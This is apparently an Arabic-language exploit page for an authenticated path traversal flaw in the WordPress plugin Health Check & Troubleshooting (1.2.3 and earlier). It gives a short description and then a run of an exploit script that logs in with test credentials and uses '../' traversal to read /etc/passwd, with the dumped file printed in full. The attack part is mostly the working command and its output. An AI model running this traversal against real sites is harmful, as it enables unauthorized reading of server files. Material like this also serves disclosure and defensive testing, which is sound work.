
Health Check & Troubleshooting <= 1.2.3 - Authenticated Path Traversal
Health Check & Troubleshooting <= 1.2.3 - اجتياز المسار لمشترك+
كانت إضافة ووردبريس Health Check & Troubleshooting متأثرة بثغرة أمنية من نوع اجتياز المسار بعد المصادقة (Authenticated Path Traversal).
نظرًا لأن استجابة الإضافة تضيف الكثير من HTML حول المحتوى، فقد وضعت أداة لإزالة HTML داخل كود الاستغلال بحيث يعيد الملفات دون وسوم HTML.
لاحظ أن بعض الملفات التي قد تتصفحها قد تحتاج إلى إزالة الأكواد منها.
$ python3 exploit.py --url http://wordpress.lan --user user --password useruser1 --file ./../../../../../../../etc/passwd
Logged in successfully.
root:x:0:0:root:/root:/bin/bash
</body></html>
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin